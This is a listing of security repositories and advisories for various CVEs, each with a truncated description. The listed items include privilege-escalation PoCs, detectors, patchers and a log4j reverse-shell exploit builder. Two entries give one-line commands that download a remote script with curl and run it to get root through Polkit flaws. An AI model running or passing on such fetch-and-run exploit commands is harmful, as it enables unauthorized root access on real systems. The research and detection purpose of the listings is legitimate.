CVE-2021-32157

CVE-2021-32157 Make it possible to build a vulnerable webmin virtual environment as a container using docker Build If there is an error related to download, please comment on line 15 of dockerfile and run line 14 of dockerfile. docker build -t VulnWebmin . docker run --name VulnWebmin -d --rm -p...

CVE-2021-42392-Detect

CVE-2021-42392-Detect About The script detects vulnerable H2 server for the give list of IPs, it can identify the H2 Console web pages and check for access restrictions. Usage Create a file containing list of IPs and name the file IP.txt, place the 'IP.txt' and 'h2-detect.py' in a directory and...

CVE-2026-107337 Cross-Site Request Forgery in Malcolm

The Malcolm kiosk Flask application exposes a POST /scriptcall/ endpoint with zero authentication and wildcard CORS CORSapp. An attacker can force the operator's browser to execute arbitrary management commands via CSRF, including control.py --wipe which permanently deletes all captured network...

CVE-2026-107337

The Malcolm kiosk Flask application is vulnerable to a Cross-Site Request Forgery (CSRF) attack due to an unauthenticated POST /script_call/[removed] endpoint paired with a wildcard CORS(app) configuration. An attacker can trick an operator's browser into executing unauthorized management command...

EUVD-2026-95120

The Malcolm kiosk Flask application exposes a POST /scriptcall/ endpoint with zero authentication and wildcard CORS CORSapp. An attacker can force the operator's browser to execute arbitrary management commands via CSRF, including control.py --wipe which permanently deletes all captured network...

CVE-2024-49113-Checker

CVE-2024-49113-Checker Script to test whether your environment is potentially vulnerable to CVE-2024-49113 LDAP Nightmare. This script performs: RPC connectivity checks LDAP port tests Netlogon service validation LDAP callback verification usage : python CVE-2024-49113-checker.py Example Scan a...

log4j-exploit-builder

log4j-exploit-builder Script to create a log4j CVE-2021-44228 exploit with support for different methods of getting a reverse shell NOTE: The code was speedrunned and will improve in the future...

CVE-2021-4034

CVE-2021-4034 CVE-2021-4034 in Bash Script Usage: source curl -s https://raw.githubusercontent.com/azminawwar/CVE-2021-4034/main/exploit.sh...

CVE-2026-33331

CVE-2026-33331 — Stored XSS in oRPC OpenAPI Reference Plugin Proof-of-concept lab for stored XSS in orpc's OpenAPI documentation generation Purpose oRPC builds API docs pages from an OpenAPI spec. Before v1.13.9 it dumped the spec directly into a tag using JSON.stringify with no HTML encoding. An...

CVE-2026-10289-XSS

Hotel and Tourism Reservation System - Stored Cross-Site Scripting XSS Vulnerability Details Field| Details ---|--- Title| Hotel and Tourism Reservation System - Stored Cross-Site Scripting XSS CVE ID| Pending Assignment Vendor| code-projects.org Vendor URL|...

CVE-2026-21440-POC-EXP

Complete CVE-2026-21440 Vulnerability Information 📁 Brief steps for using the CVE-2026-21440 PoC script 1. Install dependencies python -m pip install --upgrade pip 2. Run the test python CVE-2026-21440-code.py -h 3. 6 built-in preset sensitive paths -s for direct invocation, no need to type long...

CVE-2021-4034

usage: sh poc.sh...

CVE-2021-4034

CVE-2021-4034 BASH file, no download capabilties? Copy and paste it!...

CVE-2021-3560

CVE-2021-3560 Polkit Instant Root Exploit You can run one command to root with Polkit CVE-2021-3560 vulnerable boxes by typing in: sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" Or you can download the .sh or copy and paste it. Run and Instant Root. Us...

CVE-2025-49844_POC

CVE-2025-49844POC CVE-2025-49844 POC -h View help information ··· Redis has a Redis Lua script remote code execution vulnerability CVE-2025-49844. The root cause of this vulnerability is a design flaw in the interaction between Redis's Lua script engine and its memory management logic. ··· ···...

Ubuntu-CVE-2026-3888-patcher

🛡️ Script di Rimedio per CVE-2026-3888 Strumento di Advisory di Sicurezza di Many Hat Group Panoramica Questo script è stato sviluppato da Many Hat Group per identificare e rimediare rapidamente ai sistemi affetti da CVE-2026-3888 in ambienti Ubuntu. È progettato per l'uso su flotte gestite,...

DataEase_Postgresql_JDBC_Bypass-CVE-2025-49002

fofa syntax: title="DataEase" poc: "POST /de2api/datasource/validate HTTP/1.1 Host: your-ip Accept-Encoding: gzip, deflate, br, zstd sec-ch-ua: ""Google Chrome"";v=""135"", ""Not-A.Brand"";v=""8"", ""Chromium"";v=""135"" User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML...

Kintol_Shell_Upload

KintolShellUpload python 2.7...

CVE-2023-51764

CVE-2023-51764 CVE-2023-51764 poc Link: https://github.com/duy-31/CVE-2023-51764 1. Add SMTP authentication 2. The script has only been tested on Kali 3. Please do not use the script for illegal purposes...

http-oracle-ebs-cve-2025-61882.nse

http-oracle-ebs-cve-2025-61882.nse Detects Oracle E-Business Suite CVE-2025-61882. Detection: multi-tier checks — fingerprinting, version checks, endpoint & SSRF tests, timing analysis & controlled exploitation 4 high-confidence results. Default = safe fingerprinting only. Set aggressive=true 2...